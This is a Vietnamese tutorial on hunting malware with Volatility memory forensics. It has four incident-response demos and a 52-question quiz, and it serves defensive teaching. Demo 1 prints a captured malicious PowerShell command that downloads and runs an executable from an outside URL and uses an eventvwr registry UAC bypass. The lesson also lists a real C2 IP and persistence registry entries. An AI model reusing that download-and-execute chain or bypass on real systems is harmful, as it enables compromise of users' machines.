Bài 8.1: Hunting Malware Using Memory Forensics
1. Memory Forensics là gì và tại sao cần thiết?
Memory Forensics (Pháp chứng bộ nhớ) là kỹ thuật tìm kiếm và trích xuất các artifacts pháp chứng từ RAM của máy tính trong quá trình điều tra sự cố hoặc phân tích mã độc.
Tại sao Memory Forensics quan trọng?
- RAM lưu trữ thông tin quý giá về trạng thái runtime của hệ thống: tiến trình đang chạy, kết nối mạng đang hoạt động, module đã tải, driver kernel…
- Một số loại mã độc không ghi component nào xuống đĩa (fileless malware) — chúng chỉ tồn tại trong bộ nhớ, nên nếu không phân tích RAM thì không thể phát hiện.
- Giúp trả lời các câu hỏi: ứng dụng nào đang chạy? Có kết nối mạng đáng ngờ nào không? Có DLL hoặc shellcode bị inject vào tiến trình hợp lệ không?
2. Quy trình Memory Forensics
Bước 1 — Memory Acquisition
Quá trình sao chép toàn bộ nội dung RAM (volatile memory) sang bộ nhớ không mất dữ liệu (file trên đĩa).
| Công cụ | Ghi chú |
|---|---|
| Comae Memory Toolkit (DumpIt) | Phát triển bởi Comae Technologies |
| WinPmem | Một phần của Rekall Framework |
| Surge Collect | Phát triển bởi Volexity |
| Belkasoft RAM Capturer | Miễn phí |
| FTK Imager | Phát triển bởi AccessData |
.vmem sẽ là memory image.Bước 2 — Memory Analysis
Sử dụng framework như Volatility để phân tích file dump.
3. Volatility Framework
Volatility là framework mã nguồn mở, viết bằng Python, chuyên dùng để phân tích memory forensics.
Cú pháp cơ bản
python vol.py -f <mem_image> --profile=<profile> <plugin> [ARGS]Xác định Profile
Profile xác định phiên bản và kiến trúc của hệ điều hành — cần thiết để Volatility phân tích đúng cấu trúc dữ liệu trong RAM.
# Cách 1
python vol.py -f mem_image imageinfo
# Cách 2
python vol.py -f mem_image kdbgscanLiệt kê tiến trình đang chạy
python vol.py -f mem_image.raw --profile=Win7SP1x86 pslistKết quả trả về: Offset, tên tiến trình, PID, PPID, số thread, số handle, thời gian khởi chạy.
4. Demo 1 — Phân tích mã độc KeyBase
Kịch bản
Một người dùng trong tổ chức nghi ngờ máy bị nhiễm sau khi mở file đính kèm trong email. Bạn là incident responder và đã thu thập được memory image
infected.rawtừ máy nghi ngờ.
Bước 1 — Liệt kê tiến trình (pslist)
python vol.py -f infected.raw --profile=Win7SP1x86 pslistBước 2 — Xác định quan hệ tiến trình cha-con (pstree)
python vol.py -f infected.raw --profile=Win7SP1x86 pstreeBước 3 — Kiểm tra argument của cmd.exe (cmdline)
python vol.py -f infected.raw --profile=Win7SP1x86 cmdline -p 4056Kết quả cho thấy cmd.exe thực thi lệnh:
powershell.exe -W hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(
'http://www.bemkm.undip.ac.id/two/yboss.exe',
'C:\Users\test\AppData\Local\Temp\doc6.exe'
)
& reg add HKCU\Software\Classes\mscfile\shell\open\command /d C:\Users\test\AppData\Local\Temp\doc6.exe /f
& eventvwr.exe
& PING -n 15 127.0.0.1>nul
& C:\Users\test\AppData\Local\Temp\doc6.exeBước 4 — Xác định đường dẫn mã độc
python vol.py -f infected.raw --profile=Win7SP1x86 cmdline -p 2308doc6.exe pid: 2308
Command Line: C:\Users\test\AppData\Local\Temp\doc6.exeMã độc chạy từ đúng nơi PowerShell đã tải về — thư mục %TEMP%.
Bước 5 — Dump tiến trình mã độc để phân tích
python vol.py -f infected.raw --profile=Win7SP1x86 procdump -p 2308 -D dump/Sau khi dump, quét với VirusTotal xác nhận đây là Trojan/Keylogger (KeyBase malware), được phát hiện bởi Kaspersky là Trojan.Win32.Agent, DrWeb là Trojan.PWS.Stealer.
5. Demo 2 — Phân tích mã độc Downdelph
Kịch bản
Thiết bị bảo mật cảnh báo có kết nối callback từ
192.168.1.70đến C2 IP104.171.117.216trên cổng 80. Memory image thu được làdowndelph.vmem.
Bước 1 — Liệt kê kết nối mạng (netscan)
python vol.py -f downdelph.vmem --profile=Win10x86_17134 netscanBước 2 — Tìm pattern IP trong bộ nhớ (yarascan)
python vol.py -f downdelph.vmem --profile=Win10x86_17134 yarascan "104.171.117.216"Bước 3 — Liệt kê DLL đã tải (dlllist)
python vol.py -f downdelph.vmem --profile=Win10x86_17134 dlllist -p 5832Bước 4 — Dump DLL và xác minh
python vol.py -f downdelph.vmem --profile=Win10x86_17134 dlldump -p 5832 -b 0x00400000 -D dump/VirusTotal xác nhận đây là Downdelph malware — được nhận dạng là Win32/Sednit (Fancy Bear/APT28 toolset) bởi ESET-NOD32, Kaspersky nhận dạng là HEUR:Trojan.Win32.Delphocygen.
Bước 5 — Ai đã gọi rundll32.exe?
python vol.py -f downdelph.vmem --profile=Win10x86_17134 pstree6. Demo 3 — Phân tích Darkcomet RAT
Kịch bản
Thiết bị bảo mật cảnh báo kết nối từ
192.168.1.60đến C2 domain (resolve về192.168.1.100) trên cổng 1604. Memory image làdc.vmem.
Bước 1 — Liệt kê kết nối mạng
python vol.py -f dc.vmem --profile=Win7SP1x86 netscanBước 2 — Phân tích quan hệ tiến trình
python vol.py -f dc.vmem --profile=Win7SP1x86 pstreeBước 3 — So sánh đường dẫn tiến trình (dlllist)
# Tiến trình hợp lệ
python vol.py -f dc.vmem --profile=Win7SP1x86 dlllist -p 460
# Command Line: winlogon.exe
# Path: C:\Windows\system32\winlogon.exe
# Tiến trình độc hại
python vol.py -f dc.vmem --profile=Win7SP1x86 dlllist -p 1516
# Command Line: C:\system32\winlogon.exe
# Path: C:\system32\winlogon.exeBước 4 — Kiểm tra Registry persistence
python vol.py -f dc.vmem --profile=Win7SP1x86 dumpregistry -D dump/
strings -el dump/ | grep -i "c:\\system32\\winlogon.exe"Tìm thấy entry trong hai hive:
Key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Value: Userinit
Data: C:\Windows\system32\userinit.exe, C:\system32\winlogon.exeMã độc thêm chính nó vào giá trị Userinit của Winlogon → mỗi lần Windows đăng nhập, winlogon.exe hợp lệ sẽ gọi cả userinit.exe lẫn mã độc.
Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value: winlogon
Data: C:\system32\winlogon.exePersistence qua Run key — chạy mỗi lần user đăng nhập.
Bước 5 — Phát hiện Process Injection vào explorer.exe
# Kiểm tra handle mà PID 1516 đang giữ
python vol.py -f dc.vmem --profile=Win7SP1x86 handles -p 1516 -t ProcessKết quả: PID 1516 giữ handle đến explorer.exe (PID 1504) với quyền 0x1f1fff (full access).
# Tìm vùng nhớ bất thường trong explorer.exe
python vol.py -f dc.vmem --profile=Win7SP1x86 malfind -p 1504# Dump vùng nhớ đó
python vol.py -f dc.vmem --profile=Win7SP1x86 vaddump -b 0x4a80000 -D dump/VirusTotal xác nhận: Darkcomet RAT (Backdoor.Win32.DarkKomet theo Kaspersky).
7. Demo 4 — Zeus Bot (Code Injection & API Hooking)
Code Injection là gì?
Code Injection là kỹ thuật mã độc inject code của mình vào vùng nhớ của một tiến trình hợp lệ rồi thực thi code đó trong ngữ cảnh của tiến trình đó.
Zeus Bot — Phát hiện Injection
python vol.py -f zeus.vmem --profile=Win10x86_17134 malfind -p 3872API Hooking
API Hooking là kỹ thuật mã độc chèn lệnh nhảy (JMP) vào đầu hàm API hệ thống để chuyển hướng luồng thực thi đến code của mình trước khi hàm gốc chạy.
python vol.py -f zeus.vmem --profile=Win10x86_17134 apihooks -p 3872Hook mode: Usermode
Hook type: Inline/Trampoline
Process: 3872 (explorer.exe)
Victim module: WININET.dll
Function: WININET.dll!HttpSendRequestA at 0x66de32e0
Hook address: 0x6f1ec48
Hooking module: <unknown>
Disassembly:
0x66de32e0 JMP 0x6f1ec48 ; <-- lệnh JMP được inject
0x66de32e5 SUB ESP, 0x3c
0x66de32e8 LEA EAX, [EBP-0x3c]
0x66de32eb PUSH ESI8. Tổng kết & Bài học
Câu hỏi trắc nghiệm
Câu 1. Memory Forensics chủ yếu liên quan đến việc phân tích loại dữ liệu nào?
- A. Dữ liệu trên ổ cứng
- B. Dữ liệu trong RAM
- C. Dữ liệu trong log file
- D. Dữ liệu trong registry
Câu 2. Tại sao Memory Forensics đặc biệt quan trọng đối với “fileless malware”?
- A. Vì fileless malware chạy rất chậm nên dễ phát hiện trong RAM
- B. Vì fileless malware không ghi component xuống đĩa, chỉ tồn tại trong bộ nhớ
- C. Vì fileless malware mã hóa toàn bộ ổ cứng
- D. Vì fileless malware luôn làm tắt các công cụ AV
Câu 3. Khi sử dụng Volatility, lệnh nào dùng để xác định profile của memory image?
- A.
pslist - B.
pstree - C.
imageinfo - D.
netscan
Câu 4. Plugin pstree của Volatility khác pslist ở điểm nào?
- A.
pstreeliệt kê tiến trình nhanh hơn - B.
pstreehiển thị quan hệ cha-con giữa các tiến trình theo dạng cây - C.
pstreechỉ hiển thị tiến trình của kernel - D.
pstreeliệt kê các tiến trình đã kết thúc
Câu 5. Trong Demo 1 (KeyBase), chuỗi tiến trình cha-con nào cho thấy vector lây nhiễm?
- A. explorer.exe → cmd.exe → doc6.exe
- B. explorer.exe → OUTLOOK.EXE → EXCEL.EXE → cmd.exe → doc6.exe
- C. svchost.exe → OUTLOOK.EXE → doc6.exe
- D. winlogon.exe → OUTLOOK.EXE → doc6.exe
Câu 6. Trong Demo 1, PowerShell được gọi với tham số -ep bypass. Tham số này có tác dụng gì?
- A. Tắt tường lửa Windows
- B. Bỏ qua chính sách thực thi script (Execution Policy)
- C. Chạy PowerShell với quyền SYSTEM
- D. Mã hóa lệnh PowerShell
Câu 7. Kỹ thuật UAC Bypass sử dụng eventvwr.exe trong Demo 1 hoạt động như thế nào?
- A.
eventvwr.exekhai thác lỗ hổng buffer overflow - B.
eventvwr.exeđọc registry keyHKCU\Software\Classes\mscfile\shell\open\commandvà thực thi giá trị đó với high integrity mà không hiện UAC prompt - C.
eventvwr.exetắt UAC vĩnh viễn - D.
eventvwr.exeinject code vàolsass.exe
Câu 8. Plugin nào của Volatility dùng để xem argument dòng lệnh của tiến trình?
- A.
pslist - B.
cmdline - C.
dlllist - D.
handles
Câu 9. Trong Demo 2 (Downdelph), plugin nào được dùng để tìm IP của C2 server trong bộ nhớ tiến trình?
- A.
netscan - B.
dlllist - C.
yarascan - D.
malfind
Câu 10. Tại sao rundll32.exe bị nghi ngờ trong Demo 2 (Downdelph)?
- A. Vì
rundll32.exeđang chạy từ thư mục%TEMP% - B. Vì bộ nhớ của
rundll32.exechứa IP của C2 và URL/search.php, và nó load DLLapisvcd.dlltừAppData\Roaming - C. Vì
rundll32.execó quá nhiều thread - D. Vì
rundll32.exeđược khởi chạy bởiexplorer.exe
Câu 11. Plugin dlllist của Volatility dùng để làm gì?
- A. Liệt kê tất cả DLL trong thư mục System32
- B. Liệt kê các DLL đã được load vào bộ nhớ của tiến trình cụ thể
- C. Kiểm tra DLL có bị hook không
- D. Dump tất cả DLL ra đĩa
Câu 12. Trong Demo 2, tại sao d.exe (PID 1308) đáng ngờ mặc dù đã kết thúc?
- A. Vì tên file quá ngắn
- B. Vì nó có 0 threads — tiến trình đã kết thúc sau khi khởi chạy
rundll32.exevới DLL độc hại, đây là kỹ thuật tự xóa dấu vết - C. Vì nó được khởi chạy bởi
explorer.exe - D. Vì nó không có command line
Câu 13. Trong Demo 3 (Darkcomet), tại sao winlogon.exe (PID 1516) kết nối đến C2 là bất thường?
- A. Vì
winlogon.exekhông được phép chạy trên cổng 1604 - B. Vì
winlogon.exelà tiến trình xác thực đăng nhập Windows, không có lý do hợp lệ để kết nối ra ngoài mạng - C. Vì
winlogon.exechỉ được phép kết nối đến domain controller - D. Vì cổng 1604 là cổng dành riêng cho hệ thống
Câu 14. Kỹ thuật nào mã độc Darkcomet sử dụng để giả mạo tiến trình hệ thống?
- A. Process hollowing
- B. Masquerading — đặt tên file giống tiến trình hệ thống nhưng chạy từ đường dẫn khác (
C:\system32\thay vìC:\Windows\system32\) - C. DLL sideloading
- D. Atom bombing
Câu 15. Trong Demo 3, mã độc thêm persistence bằng cách nào?
- A. Tạo scheduled task
- B. Cài service mới
- C. Thêm vào giá trị
Userinittrong registry key Winlogon và thêm vào Run key trong HKCU - D. Sửa file
hosts
Câu 16. Plugin malfind của Volatility phát hiện điều gì?
- A. File mã độc trên đĩa
- B. Vùng nhớ trong tiến trình có permission
PAGE_EXECUTE_READWRITEvà dấu hiệu PE header (MZ) — chỉ dấu của code injection - C. Kết nối mạng đến IP độc hại
- D. Registry key độc hại
Câu 17. Trong Demo 3, winlogon.exe (PID 1516) giữ handle đến explorer.exe với quyền 0x1f1fff. Điều này có ý nghĩa gì?
- A. Chỉ là hoạt động bình thường của hệ thống
- B. PID 1516 có toàn quyền truy cập vào
explorer.exe, chuẩn bị inject code - C. PID 1516 đang monitor
explorer.exeđể debug - D. PID 1516 cần đọc thông tin từ
explorer.exe
Câu 18. Plugin handles của Volatility dùng để làm gì?
- A. Liệt kê các file đang bị mở bởi tiến trình
- B. Liệt kê tất cả kernel handle mà tiến trình đang giữ (file, registry key, tiến trình khác, thread…)
- C. Phát hiện hook trong kernel
- D. Hiển thị handle count của tiến trình
Câu 19. Code Injection mang lại lợi ích gì cho mã độc?
- A. Tăng tốc độ xử lý của mã độc
- B. Mã độc ẩn mình trong tiến trình hợp lệ, qua mặt nhiều giải pháp bảo mật tin tưởng tiến trình đó
- C. Giúp mã độc vượt qua tường lửa mạng
- D. Giúp mã độc mã hóa dữ liệu nhanh hơn
Câu 20. Zeus bot hook HttpSendRequestA nhằm mục đích gì?
- A. Chặn toàn bộ kết nối HTTP của máy nạn nhân
- B. Chuyển hướng HTTP request đến C2 server
- C. Đọc và có thể sửa nội dung HTTP request (như form data chứa thông tin đăng nhập) trước khi gửi đi — kỹ thuật Man-in-the-Browser
- D. Nén dữ liệu HTTP để tiết kiệm băng thông
Câu 21. API Hooking kiểu Inline/Trampoline hoạt động như thế nào?
- A. Ghi đè toàn bộ hàm API bằng code mới
- B. Chèn lệnh
JMPvào vài byte đầu của hàm API, chuyển hướng thực thi đến hook function, sau đó hook function có thể gọi lại hàm gốc - C. Thay thế con trỏ hàm trong Import Address Table
- D. Tạo một DLL mới chứa hàm trùng tên
Câu 22. Sau khi dump tiến trình với procdump, bước tiếp theo hợp lý nhất là?
- A. Xóa tiến trình khỏi bộ nhớ
- B. Quét file dump với VirusTotal hoặc sandbox để xác nhận đây có phải mã độc không
- C. Ngay lập tức tắt máy bị nhiễm
- D. Cài lại Windows
Câu 23. Trong Volatility, vaddump khác procdump như thế nào?
- A. Không có sự khác biệt
- B.
procdumpdump toàn bộ executable của tiến trình, cònvaddumpdump một vùng địa chỉ ảo (VAD) cụ thể trong bộ nhớ tiến trình - C.
vaddumpnhanh hơnprocdump - D.
procdumpchỉ dùng cho 32-bit,vaddumpcho 64-bit
Câu 24. Kỹ thuật dumpregistry trong Volatility làm gì?
- A. Xóa tất cả registry key độc hại
- B. Dump các registry hive từ bộ nhớ ra file, sau đó có thể dùng công cụ registry viewer để phân tích
- C. Giám sát sự thay đổi registry theo thời gian thực
- D. Liệt kê tất cả registry key được tạo bởi tiến trình cụ thể
Câu 25. Trong Demo 1, lệnh PING được dùng để làm gì trong chuỗi lệnh của cmd.exe?
- A. Kiểm tra kết nối mạng đến máy chủ C2
- B. Tạo độ trễ thời gian (~15 giây) bằng cách ping localhost 15 lần, để đảm bảo file được tải xong trước khi thực thi
- C. Đánh lạc hướng hệ thống IDS/IPS
- D. Xác định địa chỉ IP của máy nạn nhân
Câu 26. Công cụ nào KHÔNG phải là công cụ thu thập memory image từ máy vật lý?
- A. DumpIt (Comae Memory Toolkit)
- B. WinPmem
- C. FTK Imager
- D. Wireshark
Câu 27. Khi phân tích VM, cách đơn giản nhất để có memory image là gì?
- A. Cài agent vào VM và chạy DumpIt
- B. Suspend VM — file
.vmemsẽ chứa toàn bộ nội dung RAM của VM tại thời điểm đó - C. Chụp snapshot VM
- D. Kết nối debugger từ xa vào VM
Câu 28. Downdelph malware thuộc nhóm threat actor nào theo kết quả phân tích?
- A. Lazarus Group (APT38)
- B. APT29 (Cozy Bear)
- C. Sednit/Fancy Bear (APT28) — được nhận dạng bởi ESET-NOD32 là
Win32/Sednit - D. APT41
Câu 29. Darkcomet là loại mã độc thuộc dạng nào?
- A. Ransomware
- B. Keylogger
- C. Remote Access Trojan (RAT)
- D. Bootkit
Câu 30. Trong bộ nhớ tiến trình, PAGE_EXECUTE_READWRITE là dấu hiệu đáng ngờ vì sao?
- A. Vì vùng nhớ đó quá lớn
- B. Vì vùng nhớ bình thường chỉ cần một trong hai quyền: ghi (data) hoặc thực thi (code) — không cần cả hai cùng lúc; việc có cả hai thường chỉ xảy ra khi inject code vào bộ nhớ
- C. Vì Windows không cho phép permission này
- D. Vì vùng nhớ đó không được ánh xạ từ file
Câu 31. Plugin netscan khác connections/connscan của Volatility ở điểm nào?
- A.
netscannhanh hơn - B.
netscanhỗ trợ cả TCP và UDP, cả IPv4 và IPv6, và hoạt động trên nhiều phiên bản Windows hơn (bao gồm Windows Vista trở lên) - C.
netscanchỉ hiển thị kết nối đang mở - D.
netscancần quyền administrator
Câu 32. Khi phân tích kết nối mạng bằng netscan, kết nối có trạng thái CLOSED vẫn có giá trị điều tra vì sao?
- A. Vì kết nối CLOSED vẫn đang truyền dữ liệu
- B. Vì dù kết nối đã đóng, cấu trúc dữ liệu vẫn còn trong bộ nhớ và tiết lộ IP/cổng C2, tiến trình thực hiện kết nối, và thời gian kết nối
- C. Vì kết nối CLOSED sẽ tự động mở lại
- D. Kết nối CLOSED không có giá trị điều tra
Câu 33. Trong quá trình incident response, tại sao cần ưu tiên thu thập memory image TRƯỚC KHI làm các việc khác?
- A. Vì memory image cần nhiều dung lượng nhất
- B. Vì RAM là volatile — khi tắt máy hoặc tiến trình kết thúc, toàn bộ dữ liệu trong RAM sẽ mất vĩnh viễn
- C. Vì Volatility chỉ phân tích được live memory
- D. Vì thu thập memory image là dễ nhất
Câu 34. dlldump plugin của Volatility dùng để làm gì?
- A. Liệt kê DLL trong tiến trình
- B. Xóa DLL độc hại khỏi bộ nhớ
- C. Trích xuất (dump) một DLL cụ thể từ bộ nhớ tiến trình ra file để phân tích tiếp
- D. So sánh DLL trên đĩa với DLL trong bộ nhớ
Câu 35. Kỹ thuật tấn công nào trong bài học liên quan đến việc mã độc thêm chính nó vào giá trị Userinit của registry?
- A. Process injection
- B. DLL hijacking
- C. Registry persistence / Winlogon persistence — mã độc sẽ được thực thi mỗi khi user đăng nhập
- D. UAC bypass
Câu 36. Khi điều tra, điều gì khiến C:\system32\winlogon.exe khác với C:\Windows\system32\winlogon.exe?
- A. Không có sự khác biệt, đây là alias của nhau
- B.
C:\system32\không phải đường dẫn hệ thống chuẩn của Windows — thư mục chuẩn làC:\Windows\system32\; đường dẫn khác thường là dấu hiệu mã độc đang masquerade - C.
C:\system32\là đường dẫn cho ứng dụng 64-bit - D.
C:\system32\là shortcut đếnC:\Windows\system32\
Câu 37. Trong context của Memory Forensics, “artifact” là gì?
- A. Lỗi trong quá trình dump memory
- B. Bằng chứng kỹ thuật số có giá trị pháp lý thu được từ phân tích bộ nhớ như tiến trình, kết nối mạng, DLL, chuỗi ký tự, key mã hóa…
- C. File log của hệ thống
- D. Phiên bản cũ của phần mềm
Câu 38. Trong Demo 3, tại sao winlogon.exe (PID 460) lại là cha của winlogon.exe (PID 1516)?
- A. Đây là hành vi bình thường khi Windows khởi động
- B. Winlogon hợp lệ (460) đã bị hijack persistence — registry Userinit entry buộc nó thực thi mã độc (
winlogon.exegiả) như một tiến trình con khi user đăng nhập - C. Hệ thống cần hai tiến trình winlogon để hoạt động
- D. PID 1516 là phiên bản cập nhật của winlogon
Câu 39. Plugin apihooks của Volatility phát hiện loại hook nào?
- A. Chỉ kernel-level hooks
- B. Chỉ usermode hooks
- C. Cả usermode (Inline/Trampoline, IAT hooks) và kernel-mode hooks (SSDT hooks, IDT hooks)
- D. Chỉ IAT hooks
Câu 40. Lý do mã độc thường inject vào explorer.exe thay vì tiến trình khác là?
- A. Vì
explorer.execó nhiều bộ nhớ nhất - B. Vì
explorer.exeluôn chạy khi user đăng nhập, có nhiều quyền, và được tin tưởng bởi nhiều giải pháp bảo mật — inject vào đây giúp mã độc tồn tại lâu dài và ẩn mình - C. Vì
explorer.exedễ inject nhất về mặt kỹ thuật - D. Vì
explorer.execó kết nối internet sẵn
Câu 41. Khi tìm thấy một DLL độc hại trong AppData\Roaming, điều đó có ý nghĩa gì về mặt kỹ thuật?
- A. DLL đó là component hệ thống được cài đặt sai chỗ
- B. Thư mục
AppData\Roamingkhông cần quyền administrator để ghi — mã độc có thể cài đặt DLL tại đây mà không cần leo thang đặc quyền, đồng thời né được giám sát trênSystem32 - C. DLL đó sẽ bị Windows tự xóa sau khi khởi động lại
- D. DLL đó chỉ chạy khi user đang online
Câu 42. Trong các demo, rundll32.exe bị lợi dụng như thế nào?
- A. Bị thay thế bởi file mã độc cùng tên
- B. Bị dùng để load và thực thi DLL độc hại (
apisvcd.dll) — vìrundll32.exelà công cụ hệ thống hợp lệ của Windows dùng để thực thi hàm export từ DLL - C. Bị inject shellcode vào bộ nhớ của nó
- D. Bị hook để chuyển hướng tất cả lời gọi DLL
Câu 43. Trong Memory Forensics, “profile” trong Volatility có nghĩa là gì?
- A. Thông tin về user đang đăng nhập
- B. Tập hợp các cấu trúc dữ liệu (data structures), offsets, và symbols đặc thù cho phiên bản và kiến trúc cụ thể của hệ điều hành — Volatility cần để parse đúng memory dump
- C. Cấu hình của công cụ Volatility
- D. Thông tin phần cứng của máy bị phân tích
Câu 44. Điểm khác biệt giữa pslist và psscan trong Volatility là gì?
- A.
pslistnhanh hơnpsscan - B.
pslistđi qua linked list của EPROCESS (dễ bị rootkit ẩn), cònpsscanscan toàn bộ physical memory tìm EPROCESS structure (khó bị ẩn hơn) - C.
psscanchỉ tìm tiến trình đã kết thúc - D.
pslisthiển thị nhiều thông tin hơnpsscan
Câu 45. Trong kịch bản Demo 1, tại sao mã độc được tải về %TEMP% thay vì thư mục khác?
- A. Vì
%TEMP%có nhiều dung lượng nhất - B. Vì
%TEMP%là thư mục user có quyền ghi mà không cần leo thang đặc quyền, và một số AV ít kiểm tra thư mục này hơnSystem32hayProgram Files - C. Vì
%TEMP%tự động thực thi file EXE - D. Vì file trong
%TEMP%được mã hóa
Câu 46. Sau khi phân tích memory, IoC (Indicator of Compromise) nào là quan trọng nhất cần ghi lại?
- A. Chỉ cần ghi lại tên file mã độc
- B. IP/domain C2, URL tải payload, hash của mã độc, đường dẫn file, registry key persistence, tên tiến trình và PID, thời gian hoạt động
- C. Chỉ cần ghi lại địa chỉ IP của C2
- D. Chỉ cần ghi lại thời gian máy bị nhiễm
Câu 47. Trong Volatility, flag -p (hoặc --pid) được dùng để làm gì?
- A. Chỉ định đường dẫn output
- B. Lọc kết quả theo Process ID cụ thể, thay vì phân tích tất cả tiến trình
- C. Chỉ định physical address
- D. Chạy plugin ở chế độ parallel
Câu 48. Trong tất cả 3 demo, điểm chung nào trong phương pháp phân tích?
- A. Tất cả đều bắt đầu từ phân tích registry
- B. Tất cả đều bắt đầu từ một cảnh báo/nghi ngờ ban đầu → liệt kê tiến trình/kết nối mạng → xác định tiến trình đáng ngờ → đào sâu (cmdline, dlllist, malfind) → dump và xác minh
- C. Tất cả đều dùng
malfindlà bước đầu tiên - D. Tất cả đều bắt đầu từ phân tích kết nối mạng
Câu 49. Volatility được viết bằng ngôn ngữ lập trình nào và có thể chạy trên hệ điều hành nào?
- A. C++, chỉ chạy trên Windows
- B. Python, chạy trên Windows, macOS và Linux
- C. Java, chạy trên mọi nền tảng có JVM
- D. Go, chỉ chạy trên Linux
Câu 50. Kết luận nào ĐÚNG về Memory Forensics trong incident response?
- A. Memory Forensics có thể thay thế hoàn toàn phân tích trên đĩa
- B. Memory Forensics là kỹ thuật bổ sung mạnh mẽ giúp phát hiện fileless malware, hiểu kỹ thuật tấn công (injection, hooking, persistence), và thu thập IoC mà phân tích đĩa không thể cung cấp
- C. Memory Forensics chỉ hữu ích khi mã độc đang chạy tại thời điểm dump
- D. Memory Forensics không phát hiện được các kỹ thuật tấn công nâng cao
Câu 51. Trong Demo 2, tại sao apisvcd.dll được coi là bất thường ngay cả khi chưa biết nội dung của nó?
- A. Vì tên DLL quá dài
- B. Vì DLL hệ thống hợp lệ không bao giờ nằm trong
AppData\Roaming, vàapisvcd.dllkhông phải tên DLL Windows chuẩn - C. Vì DLL có kích thước quá lớn
- D. Vì DLL được load sau các DLL khác
Câu 52. Tại sao cần dùng psscan --output=dot để xuất dot format trong Demo 1?
- A. Để tạo file nhỏ hơn
- B. Để tạo file có thể render thành đồ thị quan hệ cha-con tiến trình bằng công cụ như Graphviz, giúp visualize chuỗi tấn công dễ hiểu hơn
- C. Để export dữ liệu sang Excel
- D. Dot format chứa nhiều thông tin hơn text format